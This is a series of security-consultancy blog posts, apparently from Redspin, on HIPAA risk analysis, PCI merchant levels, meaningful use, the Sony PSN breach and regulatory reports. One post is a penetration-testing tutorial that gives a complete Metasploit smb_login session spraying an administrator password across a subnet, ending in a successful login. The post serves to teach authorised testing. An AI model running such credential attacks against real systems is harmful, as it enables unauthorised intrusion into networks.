  • Leverage a risk-based approach in which the analysis focuses on areas of risk for your particular environment. This focuses the analysis on practical areas that can minimize your security risk.
  • Ensure you use an independent and objective party for your analysis. For example, avoid a product company that has something else to sell such as a firewall, IDS or managed security service, as their findings are likely to be clouded by the opportunity to upsell expensive “solutions” to their findings. A non-objective approach to the analysis is in many ways the opposite of a risk-based approach.

By focusing on the intent and spirit of the regulations and leveraging a thoughtful, risk-based, and non-checkbox approach to a HIPAA Security Risk Analysis, it is possible for your healthcare organization to achieve both security and compliance.

 

PCI DSS Merchant Levels – Tell me again…Who needs a QSA?

Posted on April 26, 2011 by mmarshall in Main | 1 Comment

We regularly are asked to explain the PCI merchant levels to customers.  The merchant levels are a pretty straightforward grouping of merchants by credit card transaction volume.  Each of the Cardbrands (Visa, Mastercard, American Express, Discover and JCB) list the transaction volumes for the different merchant levels on their websites.  While all companies that store, process or transmit Card Holder data are required to comply with the entire Data Security Standard, how the merchant is required to validate that compliance is determined by their merchant level.  For example here is the Visa merchant level table:

Visa PCI Merchant Levels

Since the start of the PCI program only level 1 merchants have been required to validate their compliance with an on-site assessment from a QSA.   Level 2 merchants have always been allowed to complete a Self Assessment Questionnaire (SAQ) rather than have an on-site audit by a QSA.  Things, however, got a bit confusing when MasterCard attempted to step up the intensity of their program:

- August 2009 MasterCard announces that level 2 merchants will have to have an annual QSA assessment.  The deadline is December 2010.

- December 2009 MasterCard announces that level 2 merchants don’t have to have a QSA.  They can still do the Self Assessment Questionnaire, but only if they have their internal staff complete the PCI training.  The deadline is extended to June 2011.  If you haven’t done the PCI training then you need a QSA.

As the June 2011 deadline approaches many level 2 merchants are scrambling to decipher the requirements and get the appropriate validation completed in time.

The bottom line: If you are a classified as a level 2 merchant by MasterCard you will need to have your internal staff complete the PCI SSC training (details are here https://www.pcisecuritystandards.org/training/isa_training.php).  Or have a QSA complete your Report on Compliance.  Note that these changes impact merchants classified as level 2 by MasterCard.  If you are a level 2 with Visa, MasterCard also considers you a level 2 even if your MasterCard transaction volume would put you in a lower tier.  If you are, however, a level 2 merchant with American Express and a level 3 merchant with MasterCard these changes will not apply to you.

If the MasterCard changes do impact your organization, and you are already in process with the SAQ.  Make sure to check with your acquirer to see if they will accept your SAQ (under the old rules) if you submit it prior to the June deadline.

Testing Windows Passwords with Metasploit

Posted on August 17, 2011 by Mark Marshall in Main | 3 Comments

An attacker will take the path of least resistance in order to gain access to critical systems and data. During a penetration test we’ll take the same tactic as well.

Frequently this is accomplished by guessing a password to a users account and then either using the privileges of that account to gain access to critical data or escalating that account to an administrator or root level account. Once credentials have been acquired for one host you’ll want to determine what other systems they work against. It is fairly common to gain access to a local administrator account on a workstation or server for example, but not a domain account and in this case you will want to try that local administrator account against a whole slew of other systems.

There are a number of ways to accomplish this task but one of the most efficient ways is using the smb_login module of Metasploit Framework 4 to test a single username/password combination against a lot of boxes very quickly.

msf > use auxiliary/scanner/smb/smb_login
msf  auxiliary(smb_login) > set smbpass Password!
smbpass => Password!
msf  auxiliary(smb_login) > set smbuser administrator
smbuser => administrator
msf  auxiliary(smb_login) > set user_as_pass false
user_as_pass => false
msf  auxiliary(smb_login) > set rhosts 10.0.0.100-110
rhosts => 10.0.0.100-110
msf  auxiliary(smb_login) > show options
Module options (auxiliary/scanner/smb/smb_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   PASS_FILE                          no        File containing passwords, one per line
   PRESERVE_DOMAINS  true             no        Respect a username that contains a domain name.
   RHOSTS            10.0.0.100-110   yes       The target address range or CIDR identifier
   RPORT             445              yes       Set the SMB service port
   SMBDomain         WORKGROUP        no        SMB Domain
   SMBPass           Password!        no        SMB Password
   SMBUser           administrator    no        SMB Username
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      true             no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts
msf  auxiliary(smb_login) > exploit

[*] 10.0.0.100:445 SMB - Starting SMB login bruteforce
[*] 10.0.0.101:445 SMB - Starting SMB login bruteforce
[*] Scanned 02 of 11 hosts (018% complete)
[*] 10.0.0.102:445 SMB - Starting SMB login bruteforce
[*] Scanned 03 of 11 hosts (027% complete)
[*] 10.0.0.103:445 SMB - [1/2] - Starting SMB login bruteforce
[*] Scanned 04 of 11 hosts (036% complete)
[*] 10.0.0.104:445 SMB - [1/2] - Starting SMB login bruteforce
[*] Scanned 05 of 11 hosts (045% complete)
[*] 10.0.0.105:445 SMB - [1/2] - Starting SMB login bruteforce
[*] Scanned 06 of 11 hosts (054% complete)
[*] 10.0.0.106:445 SMB - [1/2] - Starting SMB login bruteforce
[*] Scanned 07 of 11 hosts (063% complete)
[*] 10.0.0.107:445 SMB - [1/2] - Starting SMB login bruteforce
[*] 10.0.0.107:445 SMB - [1/2] - |WORKGROUP - FAILED LOGIN (Windows 5.1) administrator :  (STATUS_LOGON_FAILURE)
[+] 10.0.0.107:445|WORKGROUP - SUCCESSFUL LOGIN (Windows 5.1) 'administrator' : 'Password!'
[*] Scanned 08 of 11 hosts (072% complete)
[*] 10.0.0.108:445 SMB - [1/2] - Starting SMB login bruteforce
[*] Scanned 09 of 11 hosts (081% complete)
[*] 10.0.0.109:445 SMB - [1/2] - Starting SMB login bruteforce
[*] Scanned 10 of 11 hosts (090% complete)
[*] 10.0.0.110:445 SMB - [1/2] - Starting SMB login bruteforce
[*] Scanned 11 of 11 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(smb_login) >

In this example I successfully compromised one of my test systems that was using the password ‘Password!’ for the local administrator account. This may seem far fetched, but I’ve seen worse than this before on engagements.

Be aware that this type of activity is very noisy and easily detectable by a sysadmin or security goon, as it will create a failed login attempt for the Administrator account on every machine in the subnet.

PlayStation Network Hack – What You Don’t Know Can Hurt You

Posted on May 1, 2011 by Dan Berger in Main | 1 Comment

In a press conference late last week, Sony PlayStation Network executives confirmed that the recent hacking incident that exposed personally identifiable information and credit card numbers of all or part of the user database, was an exploit of a known vulnerability – just not one known to Sony.

The “external intrusion” has left 77 million PlayStation Network and Qrirocity users without access to the services or their personal data stored there for the past 10 days.  In the press conference, Sony Computer Entertainment CEO Kaz Hirai publicly addressed the security breach, the network shutdown and tentative restoration date, as well as Sony’s other plans to “make good”  to its  millions of loyal users.

Hirai-san stated that there’s “no evidence that credit card numbers, expiration dates or billing addresses” were stolen and that there have been no confirmed cases of credit card fraud relating to this incident. However, he later urged all PSN members to check monthly credit card billing statements for possible fraudulent charges. Previously, the company had stated that as many as 10 million credit cards may have been “exposed” but there was no “proof” that they had been stolen.

These seemingly incongruous statements may be the result of semantics, Japanese-English translation or both. Or perhaps it just shows how data security breaches by their very nature can create chaos or at least a lot of unknowns. The incubation period and extent of potential harm for stolen personal information can vary in length and degree. What is clear is that some hackers delight in infiltrating systems “just because they’re there,” most sophisticated and well-orchestrated attacks are driven by underground, malevolent economic pay-offs.

Sony’s reputation re-building efforts, proposed compensatory offers to members, network security enhancements and organizational changes are all admirable and necessary in the wake of this massive breach. But there’s also the hard truth that perhaps all of this could have been avoided. At Redspin,  we assess network infrastructure and applications against known vulnerabilities. We then take a “hacker’s eye view” and analyze and report on potential attack vectors. Our findings reports suggest improvements  to network infrastructure, tightening security controls, and hardening web applications.

We urge our clients to be proactive about security – implement a regular cycle of security testing, remediation, validation and retesting. Our Enterprise Solution provides a structured approach to institutionalize security as part of operations. And its certainly affordable – particularly when one considers the potential costs of a catastrophic breach.

 

How to Apply for Meaningful Use

Posted on May 4, 2011 by mmarshall in Main | Leave a comment

If you are an eligible hospital or eligible professional then meaningful use incentives and qualifying for them is likely top on your mind. If you are a vendor of EHR technology you have been working to get your software certified for meaningful use so your customers can qualify for the incentives.

Many organizations are in the midst of a tremendous amount of work to meet meaningful use and qualify for the incentives.   Based on our conversations most organizations have not yet applied, and are not clear how the actual application process will work.  For example: Will they need supporting documentation? What kind of output is needed from the HIPAA Risk Analysis? I thought it would be useful to provide a high level walk through of what to expect when you actually go through the registration/attestation process.  If your organization hasn’t applied yet, this will give you a sense of what is going to be required when you do. We will look at the process for eligible hospitals, but the process is similar for eligible professionals.

  • Preparation:
    • Actually applying means that you have already done the hard work of meeting the meaningful use requirements. Most organizations are in the midst of this process right now. This includes:
    • Using certified EHR technology – The vendor needs to have gotten their EHR solution certified to meet meaningful use. The list of certified vendors/products is available here: http://onc-chpl.force.com/ehrcert
    • Configuring the chosen EHR technology to meet the meaningful use criteria and ensuring that the implementation adequately secures ePHI.
    • Performing a HIPAA Risk Analysis during this process.

The actual application process is broken up into two parts.  The first is Registration, which has been available since January 3, 2011.  Second is Attestation, which has been available since April 18, 2011.

  • Registration
  • Attestation
    • You will need the CMS EHR Certification ID for your implemented EHR. This is available from: http://onc-chpl.force.com/ehrcert
    • Enter the EHR Certificate ID for your EHR technology and select the start and end dates for the reporting period.
    • For each of the core objectives where no exclusion applies you will enter the numbers of patients the objective applied to and the number that met the core objective. For example 100 patients requested electronic copies of their discharge instructions, and they were provided to 99.  So 99% met core objective 12 during the reporting period.  Complete this process for the Core Measures, Menu Measures and Clinical Quality Measures.

You are attesting to the implementation and data is not required to be submitted during the attestation process.  Although you will need to keep supporting data for six years in case of an audit.

If you meet all the criteria you can submit the attestation.  Congratulations!  You are now officially a “meaningful user”.

For more information see:

CMS Registration Site

CMS Video Tutorial

You can do a test run to ensure that you meet the necessary objectives:

Meaningful Use Calculator

Sony PSN Breach – How Bad Was Their Security? A look Into Error Messages…

Posted on May 5, 2011 by mmarshall in Main | Leave a comment

There is lots of buzz based on the congressional testimony on how lax the security was on the Sony PlayStation Network.   Since there were no sources cited in the testimony we wondered if there is publicly available info to corroborate that view point.  A bit of digging in some of the public forums turned up some interesting information.  It turns out users periodically have reported getting errors when trying to access the Playstation Network.  While the fact that they were unable to access the network isn’t all that interesting, the detailed error messages that they posted reveal some information about the servers used on PSN.  For examples of the error messages see the thread on one of PSN’s own forums here: Sony Forum and a third party site: SupraFourms.

In these two cases rather than PSN returning a “generic” please try again error, it returns a 500 server error with tons of verbose debugging information.  Here is an excerpt from an error message a user received when trying to sign into the PlayStation Network on 3/11/2011.  This is just a few weeks before they were hacked.  Note this is a small portion of the error since the original is to long for this post.

HTTP Status 500 -
type Exception report
message
description The server encountered an internal error () that prevented it from fulfilling this request.
exception
javax.servlet.ServletException: Unable to find resource ‘/pc//external/index.vm’
org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:515)
org.apache.struts2.dispatcher.FilterDispatcher.doFilter(FilterDispatcher.java:419)
com.sony.soe.platform.common.web.i18n.UTF8Filter.doFilter(UTF8Filter.java:22)
com.sony.sce.np.control.PerformanceMonitorFilter.doFilter(PerformanceMonitorFilter.java:68)
note The full stack trace of the root cause is available in the Apache Tomcat/5.5.23 logs.

We don’t know where this system is on the PSN network, or if it was part of the breach.  But we can glean a few things:

  • The obvious: something is broken and the server is generating an error
  • The error message is very detailed.  If basic security hardening of the box had been performed they would have turned off verbose error messages. This error message leaks all kinds of information about the server.  Verbose/debugging error messages should never be enabled in a production environment.
  • Most concerning is the software version. At the end of the message it identifies the webserver that is running as Apache Tomcat 5.5.23.  This version was released in 2007 and is over four years old (an eternity in the software industry). There have been many security problems identified and patched in Tomcat since then. Without updating their version or applying the patches they are vulnerable to many security flaws.

If this system is indicative of the state of the PSN and these types of flaws existed elsewhere it is likely that the hackers had a very easy time gaining access.
What lessons can we learn?  Make sure you are doing the security basics.  Harden your servers before deployment.   Religiously apply security patches to make sure you are not vulnerable to attacks.

Public Comments on The Federal Health IT Strategic Plan, 2011-2015

Posted on May 6, 2011 by Dan Berger in Main | Leave a comment

One of the ONC’s key responsibilities is to provide strategic leadership to the public and private sector. Mandated under the HITECH Act of 2009, the ONC must publish and update its strategic plan for improving healthcare through the use of information technology.

The Federal Health IT Strategic Plan, 2011-2015, first released in draft form in March 2011, paints a rapidly evolving health IT landscape. It sets 5 overriding goals for “unlocking the vast promise of electronic health information to improve decision making, help individuals better manage their health, and improve the health system’s capacity for rapid learning.”

Making this plan public and in fact, inviting public comment, is helpful to the cause. It gives the ONC a vehicle to communicate priorities, solicit input, guide efforts and influence allocation of resources.

With the close of the public comment period today (5/6/2011) and in advance of next week’s NIST/OCR HIPAA Security Rule Conference in Washington, D.C., I felt this was an opportune time to publicly self-publish my public comments! Here goes:

The Blumenthal era smartly focused success around the concept of “meaningful use,” first as a measure of electronic health record (EHR) adoption and usage, and later as a rallying cry for IT health transformation in general.

Usage is, after all, tantamount to success. And the converse is also true. “No one knows how many computer-based applications designed at great cost of time and money are abandoned or expensively overhauled because they were unenthusiastically received by the intended users.” (“Power, Politics, and MIS Implementation,” M. Lynne Markus,  M.I.T. June 1983)

This is a critical point. The draft Health IT Strategic Plan has, as its ultimate end-goal, improved patient outcomes. This goal cannot be achieved without widespread public adoption of EHR’s. But does the Strategic Plan do enough to address the potential pitfalls and impediments that could undermine EHR usage?

In my opinion, no. Security and privacy requirements must be made more prominent both in the plan and in practice, with more stringent, regular testing and reporting.  Although security and privacy are one of the 5 primary goals of the Plan, the topic commands only 6 pages of the 80-page document (pp 29-35). Also by being listed as Goal number 3 out of 5, the implication is these critcial issues are third in priority or third in time sequence.

While perhaps an unintended impression, it still conveys the wrong message. Privacy and security are not simply goals; they are foundational to adoption and usage. Thus they are necessary conditions for achievement of all of the other 4 primary goals, and of any continued advancements of the health IT agenda.

Even the language used in describing “Goal III” is tepid (“stepping up protections,” “discussing major investment in education and outreach”). Notably absent are calls to action that inspire real commitment to regular monitoring and measuring, self-enforcement, and driving continuous improvement.

Perhaps the ONC believes that more stringent breach notification requirements and increased financial penalties will act as “an invisible economic hand” that guides healthcare providers to implement reasonable and appropriate measures to safeguard ePHI. But a fully comprehensive strategic plan must also include contingency planning – what if breaches continue to increase despite strict breach notification rules and more costly penalties?

And how does the ONC address the inherent incongruity of requiring public breach notifications for large incidents (500 records or more), while aiming to “inspire confidence and trust in health IT.” How can the health care industry combat the undermining of public trust by being forced to publicize its biggest failures? Personal notification for those impacted is an obvious necessity but is there a cumulative psychological impact to frequent breach PR’s, a repetitive stress injury to the ultimate goal if you will.

We suggest immediately elevating privacy and security to a higher plane. Rather than a goal, make it as foundational an element as meaningful use, the bedrock of the strategic plan. At Redspin, we suggest calling it “Meaningful Healthcare IT Security.” In fact, we’ve applied to trademark the tagline, not for any proprietary purpose, but to make a point. (We’ll gladly license its use to the ONC for free).

So what is “Meaningful Healthcare IT Security?” First, it’s an acknowledgement of the complex challenges healthcare organizations face in meeting the sophisticated levels of privacy and security necessary to protect the public. This will not simply materialize out of the “carrot and stick” approach of incentive payments and breach penalties. Second, privacy and security need to be understood as pre-conditions to meaningful use not just a “part of.”

Next, the “security risk analysis” identified as Core Measure 15 should be defined as more than compliance with the HIPAA security rule. Effective security is a process-driven cycle of regularly-scheduled assessments, validation, remediation, and reporting that delivers continuous and durable improvements in information security and helps develop a culture of security awareness within organizations.

We want to help meet the ONC’s ultimate goal of improving patient outcomes “by unlocking the vast promise of electronic health information.”  But we don’t want to leave any doors unlocked that should be protecting privacy and security.

Building Assurance through HIPAA Security, Washington D.C., May 10th-11th

Posted on May 15, 2011 by Dan Berger in Main | Leave a comment

Last Monday night, I boarded a “red-eye” flight from LAX to Dulles to attend the OCR/NIST HIPAA Security Conference. I landed at 6:15AM, did a quick change into my business attire, grabbed some coffee, rented a car, and found my way to the Ronald Reagan Building at 1600 Pennsylvania Avenue, 3 blocks from The White House. I thankfully arrived just before the breakfast buffet ended and took a seat at the back of the conference ballroom.

The room was packed with 400+ attendees – literally standing room only until the conference organizers could arrange for more chairs to be brought in. The congregation included providers, government policy-makers, healthcare lawyers, academics, vendors, and consultants.  From the start of the conference at 9AM Tuesday morning to well after 4PM Wednesday afternoon, there was a sense of purpose in the air. Healthcare IT transformation is well underway and IT security will play a major role in whether or not we, collectively, succeed as an industry, as a major part of the U.S. economy and as a country.

While I gained a wealth of information and education from this conference, I want to summarize a few of the most important “take-away” items here.

-   The development of Stage 2 “meaningful use” requirements is well underway.  Security will remain a key focus. New providers will be expected to conduct a HIPAA security risk analysis (SRA) and Stage 1 qualifiers will be ask to “update and re-assess” the previous SRA they completed in order to meet Stage 1 attestation.

-  While still likely stopping short of mandating encryption, Stage 2 meaningful use will also “shine a spotlight” on the security of data at rest, according to Deven McGraw, co-Chair of the HIT Policy Committee “Tiger Team” and Director of the Health Privacy Project at the Center for Democracy and Technology.

-  A batch of final regulations dealing with healthcare privacy and security issues will be issued in one “Omnibus” package to be released this year and likely within months, if not within weeks. This will include:

  • HITECH Act modifications to the HIPAA privacy, security and enforcement rules.
  • The final version of the breach notification rule, replacing the current interim version.
  • Formalizing privacy provisions under the Genetic Information Nondiscrimination Act that forbids use of genetic information for insurance underwriting and categorizes such use as a violation of both privacy and non-discrimination regulations.

-  Sue McAndrew, Deputy Director for Health Information Privacy at the Office of Civil Rights (OCR) called the HIPAA security risk analysis provision a foundational element of HITECH, along with updating the SRA regularly and implementing reasonable and appropriate safeguards.

-  Ms. McAndrew further confirmed and clarified that business associates and their subcontractors will have the same obligations as covered entities under the HIPAA Security Rule and therefore must conduct their own HIPAA security risk assessments. Within 12 months from the issuance of the Omnibus NPRM, business associates will be directly liable for the breach of protected health information (PHI) under HITECH Act sections 13401 and 13404.  She went on to describe this extension of directly liability to business associates “a sea change” in the regulations.

-  Stepped-up enforcement of the HIPAA security and privacy provisions is on the way. Federal enforcement training of State Attorneys Generals offices was done in Texas this past April, and will be conducted in Atlanta and Washington D.C. by end or May and in San Francisco in early June.

 

Inspector General Takes ONC to Task Over Lack of General Security Controls

Posted on May 18, 2011 by Dan Berger in Main | 1 Comment

We wouldn’t be so bold as to say “I told you so,” but for months Redspin has been publicly calling on the ONC to beef up the security controls and measures in the “meaningful use” EHR incentive plan, the Federal Strategic Health IT Plan, and the HIPAA Security Rule itself. In fact just two weeks ago, we offered the following public comments on the Strategic Plan:

“Next, the “security risk analysis” identified as Core Measure 15 should be defined as more than compliance with the HIPAA security rule. Effective security is a process-driven cycle of regularly-scheduled assessments, validation, remediation, and reporting that deliver continuous and durable improvements in information security and help develop a culture of security awareness within organizations.” (Public Comments on Federal Strategic Health IT Plan, 2011-2015)

Now this week, we learn the HHS Inspector General has audited HIT Standards, privacy protection under HIPAA, and other security measures at CMS and the ONC. Their conclusion? “OIG found weaknesses in the two HHS agencies entrusted with keeping sensitive patient records private and secure.”  Such weaknesses included lax oversight and insufficient standards for healthcare providers.

The CMS audit examined seven hospitals across the country and found 151 “vulnerabilities” in systems and controls that are designed to safeguard electronic protected health information. Those lapses included 124 “high impact vulnerabilities” such as unencrypted laptops and portable drives containing sensitive personal health information, outdated antivirus software and patches, unsecured networks, and the failure to detect rogue devices intruding on wireless networks. As a result, CMS had limited assurance that controls were in place and operating as intended to protect electronic protected health information, thereby leaving ePHI vulnerable to attack and compromise.”

This is exactly why Redspins’ HIPAA Risk Analysis and Security Assessments go well beyond the requirements laid out by the CMS and ONC. And why hospitals, health systems and large provider practices should carefully consider which vendor they select to perform their assessment service. This is not “check the box” type of audit work. This is not something you can entrust to one-man consulting shops.  There are serious implications to leaving ePHI vulnerable to attack and compromise. Sure the ONC should be more specific in regard to specific preventative controls or standards in the regulations. But whether stated in the regulations or not, you as a hospital or business associate bear the ultimate responsibility for data breach. We urge you to hold any outside security assessment vendor (including Redspin) to a higher standard. Don’t settle for competence; seek out excellence.

 

Bank Account Takeover Fraud – Draft FFIEC Guidance

Posted on May 20, 2011 by mmarshall in Main | Comments Off

Account takeover fraud remains a major problem for financial institutions and small businesses that are impacted. The FBI recently warned about increased Wire Transfer Fraud to Chinese Companies.  Typically the hackers compromise the workstation of an employee who has the ability to initiate wire-transfers.  Once the user logs on to their online banking the hackers steal the credentials and or take over the users session.  Now that the hackers control the workstation and the account credentials they initiate a wire transfer from the customers account.  The bank completes the wire transfer to an oversees account and the money is gone.  Amounts range from 50k to 1 million dollars per transfer.

The FFIEC has recognized the problem and is working on new guidance for financial institutions to increase their security to prevent these types of attacks.  A draft copy of the guidance was accidentally leaked by the NCUA in December 2010.  Although the guidance has not been officially issued and may change, proactive organizations are already working on beefing up their security.

Some of the highlights from the draft guidance:

1. Increased risk assessments – Institutions need to periodically assess risk in their online banking solutions and respond accordingly.  According to the FFIEC many financial institutions are not doing this frequently enough (if at all).

2. Authentication for High-Risk Transactions Institutions should determine which accounts/transactions are high risk and implement additional security (two factor authentication) in these cases.

3. Layered Security Institutions should have multiple layers of controls in place so that a failure of one layer can be caught at another layer.  For example if a user name and password are compromised fraud could still be stopped if anomaly detection flags the transactions for review.

4. Effectiveness of Authentication Techniques Consider stronger device authentication and more difficult challenge questions.

5. Customer Education and Awareness Advice on specific areas of guidance that the Institution should consider providing to their customers.

While the guidance is not official yet, financial institutions would be wise to ensure they are completing appropriate risk assessments of their online banking and ensure that they address changes in the threat landscape.  Getting ahead of this will help reduce the fraud and be one step ahead when the regulators release the final guidance.

HIPAA Security Risk Analysis: Compliance vs Security

Posted on May 23, 2011 by John Abraham in Main | Leave a comment

Security vs Compliance

As an independent provider of security assessments, we are keenly aware of the 2 primary drivers of an objective security assessment – security or compliance. Roughly, these two views of risk management can be thought of as follows:

  • Security: For organizations in this camp, ensuring that ePHI is protected is mission critical to the business. Any impact to data security would be viewed as negatively impacting business value: whether it be monetary, brand value or customer loyalty, and minimizing the risk of a data breach is the goal of an assessment – this is pure risk management.
  • Compliance: On the other hand, organizations that are driven by compliance – while they don’t necessarily feel that data security is unimportant – the primary driver for doing a security assessment is to “check-the-box” that a HIPAA Security Risk Analysis has been completed per HIPAA or to address HITECH meaningful use objectives.

In reality, of course, both of these objectives often factor into the need to perform a HIPAA Security Risk Analysis. However, it’s important for healthcare organizations to be able to differentiate between these drivers, because the value of a risk assessment can be maximized if the effort is guided properly. In fact, with the right guidance a risk analysis can achieve both.

Venn diagram showing the difference between security and compliance

Security vs. Compliance

To understand this, it’s important to understand how compliance relates to security; note the Venn diagram at left. If one focuses purely on compliance during a risk analysis, then likely there will be a lot of residual risk that is not identified during the analysis. In fact, there might be some wasted effort as a pure compliance effort may place too much emphasis on certain areas of analysis that are not necessarily relevant to the environment in question (the light blue area of the diagram).

However, if one focuses on the intent of HIPAA Security Rule, then both security and compliance can be achieved. After all security is the intent of the Security Rule. While this may seem obvious, many compliance oriented risk analysis efforts leverage a static scope with little room for in-depth analysis of critical controls. Sure the control exists – say encryption on a device, for example – but the real question is whether the control is actually working as intended. In our experience the vast majority of risk in health IT environments is not missing controls, but rather controls that are not deployed correctly, and thus providing a false sense of security.  This is often due to configuration error or a lack of effective process supporting the control. Furthermore, a static “check-the-box” risk analysis creates findings and recommendations that result in the deployment of controls that are often expensive and don’t map into high areas of security risk. I can’t tell you how many organizations I’ve seen spending precious IT department resources on low security risk issues, while blatant easy-to-fix critical security risk just hangs out there for months. Sure it might be more fun and exciting to deploy an expensive intrusion detection system (IDS), however, doing this in a situation where its number 37 on your priority list of issues, when in fact you have laptops that you think are encrypted but they are in fact not can be disaster.

How to achieve both security and compliance

First off, leverage a risk-based approach to risk analysis in which the ePHI and IT processes around the data drive the scope, as opposed to a static check box list-of-questions approach.  No two IT environments are the same and thus no two assessments of risk are the same. The HIPAA Security Rule is practical and flexible. Its practical in that it was founded on sound principals and security best practices, and flexibility is clearly stated in the Security Rule:

HIPAA Security Rule: § 164.306(b) Flexibility of approach

(1) Covered entities may use any security measures that allow the covered entity to reasonably and appropriately implement the standards and implementation specifications as specified in this subpart.

(2) In deciding which security measures to use, a covered entity must take into account the following factors:

(i) The size, complexity, and capabilities of the covered entity.

(ii) The covered entity’s technical infrastructure, hardware, and software security capabilities.

(iii) The costs of security measures.

(iv) The probability and criticality of potential risks to electronic protected health information.

From a compliance standpoint a HIPAA Security Risk Analysis is a foundational component of both HIPAA compliance and HITECH Act meaningful use objectives. However, it is also a fundamental aspect of any robust information security program. By focusing on security (the intent of compliance) a risk analysis can significantly reduce the risk of an ePHI breach, save money by focusing IT resources on the most important issues and….. achieve compliance.

OIG’s Review of CMS HIPAA Security Rule Oversight – What a Scathing Report Means For You

Posted on May 30, 2011 by John Abraham in Main | Leave a comment

The OIG (the Office of Inspector General – the audit arm of the Department of Health& Human Services)  recently released their report on the CMS’s (Centers for Medicare & Medicaid Services) oversight and enforcement regarding hospitals’ HIPAA Security Rule implementation. In the scathing report* the OIG clearly characterizes the current regulatory compliance efforts by the CMS as lax. While the report is full of interesting statistics about the extent that the hospitals it audited as part of the analysis were lacking in security, I thought, it made sense to discuss the inevitable outcome for hospitals and frankly any organization covered by the HIPAA Security Rule.

What the Report Says About the Future

1. Expect post-breach due-diligence

In rock climbing, we had a saying: it’s not the fall that kills you, its the landing. Well that certainly rings true with a data breach. If you’ve read the news lately, you’re likely aware of the scrutiny into organizations that have experienced a breach. Not only does the true financial cost and liability impact become clear in the weeks and months following a breach, but the entire risk management strategy of the organization comes under a microscope. And for those organizations that fall within HIPAA Security Rule compliance requirements, that is echoed loud and clear in this report, in which it is stated that the CMS:

“performs compliance reviews of covered entities in response to breaches of unsecured protected health information affecting 500 or more individuals”.

So, while many healthcare CIOs have never been through a compliance audit but may expect one in the event of an ePHI data breach – they can be assured of an audit after this report. And when the microscope comes out, here are the kinds of questions the CMS will be asking:

  • Sure you have security controls, but are they actually working?
  • Does executive management have a clear understanding of their risk profile?
  • Does your healthcare organization have a structured and systematic approach to risk management?
  • Are you aware of, and do you follow-up on, deficiencies in your security program?

So if your security is lax, the effectiveness of your program will become clear in the post breach analysis.

2. Expect Pro-Active Audits

While it may not be surprising to CIOs to expect some regulatory due-diligence into their information security programs after a breach, it may be more of a surprise that periodic or even annual regulatory security audits by the CMS are inevitable. Not only are state Attorneys General getting trained by the federal government on HIPAA enforcement, but the OIG is clearly indicating that pro-active CMS auditing is what it would like to see. Healthcare is unique in that, while it has clear regulatory guidance on security (the HIPAA Security Rule), it has not been the subject to consistent oversight in the form of audits. In other industries (financial services for example) CIOs have for years come to expect annual onsite visits from the regulators in which their security programs and controls are reviewed. Here are some of the OIG statements showing the current state of affairs (lax auditing and minimal oversight) is not appropriate moving forward:

INSUFFICIENT OVERSIGHT AND ENFORCEMENT ACTIONS

CMS’s oversight and enforcement actions were not sufficient to ensure that covered entities, such as hospitals, effectively implemented the Security Rule.

Here is another telling indicator from the report:

Although OCR stated that it maintains a process for initiating covered entity compliance reviews in the absence of complaints, it provided no evidence that it had actually done so.  The only reviews OCR mentioned were related to our hospital audits.  In the absence of evidence of a more expansive review process, we encourage OCR to continue the compliance review process begun by CMS in 2009.

So while it’s clear that not only should healthcare organizations expect pro-active audits from the State Attorneys General, but at the federal level as well, from the CMS.

3. Expect the CMS to take a broad view of security

At Redspin, we’ve always been a fan of taking a practical view of security and compliance. It looks like the regulatory environment is poised to take a similar view.

RECOMMENDATIONS

We recommend that OCR continue the compliance review process that CMS began in 2009 and implement procedures for conducting compliance reviews to ensure that Security Rule controls are in place and operating as intended to protect ePHI at covered entities.

From a practicality standpoint this is a good thing. However, for those entities that are deploying controls just because they have to, rather than really putting thought into the deployment to ensure the controls are working as intended will find that the existence of the control itself does not free them from regulatory liability.

Redspin Recommendations:

  • Don’t just treat a HIPAA Security Risk Analysis like a compliance check-the-box item on your agenda. Consider the fact that a meaningful HIPAA Security Risk Analysis is the foundation for effective risk management and leverage the effort to build a robust and systematic information security program that will maximize HIPAA Security Rule compliance while minimizing risk of ePHI data breach.
  • Understand that by focusing on the intent of the HIPAA Security Rule you can achieve both security and compliance. However, the inverse is not true : focusing on compliance does not necessarily buy you security in the risk management sense of the word – in fact in the OIG’s opinion, it won’t even buy you compliance.
  • Always remember it’s not the existence of a control that matters, rather it’s the effectiveness.

Conclusion

While additional oversight may seem daunting, the good news is that hospitals and other healthcare organizations can get lasting practical and compliance value from doing an annual HIPAA Security Risk Analysis.

  • It can be used to meet the meaningful use core objective of safeguarding ePHI.
  • it’s the foundation of a robust information security program.
  • It can be used to provide executive management visibility into their risk profile and overall IT environment.
  • It can lower your overall risk profile, by identifying and prioritizing critical risk.
  • In the event of a CMS audit – it will provide evidence that your organization has a robust security foundation and systematic information security program.

 

* Nationwide Rollup Review of the Centers for Medicare & Medicaid Services Health Insurance Portability and Accountability Act of 1996 Oversight  (A-04-08-05069)

 

 

A “Sea Change” in HIPAA Security – Why Business Associates Should Be Pro-Active About Security Risk Now

Posted on June 8, 2011 by Dan Berger in Main | Leave a comment

A recent report suggests that nearly 40% of data breaches of protected health information occur at third party companies entrusted by health care providers with sensitive data. A striking statistic particularly since HIPAA and HITECH mandate that healthcare providers ensure privacy and security among such “business associates.” While providers generally insist these obligations be included in their contracts with outside vendors, the 40% breach statistic shows just how ineffective such agreements have been, without the benefit of additional enforcement or oversight.

It is against this backdrop that the Office of Civil Rights (OCR) determined that more needed to be done in this area. Their most recent recommendation calls for business associates to be held directly liable for the breach of protected health information (PHI) under HITECH Act sections 13401 and 13404. This change will go into effect 12 months after the issuance of the Omnibus NPRM (expected in the next few months). Thus, in mid-to-late 2012, business associates and their subcontractors will have the same obligations as covered entities under the HIPAA Security Rule — and therefore must conduct their own HIPAA security risk assessments.  Sue McAndrew, Deputy Director for Health Information Privacy at the Office of Civil Rights (OCR), has called the extension of direct liability to business associates “a sea change” in the regulations.

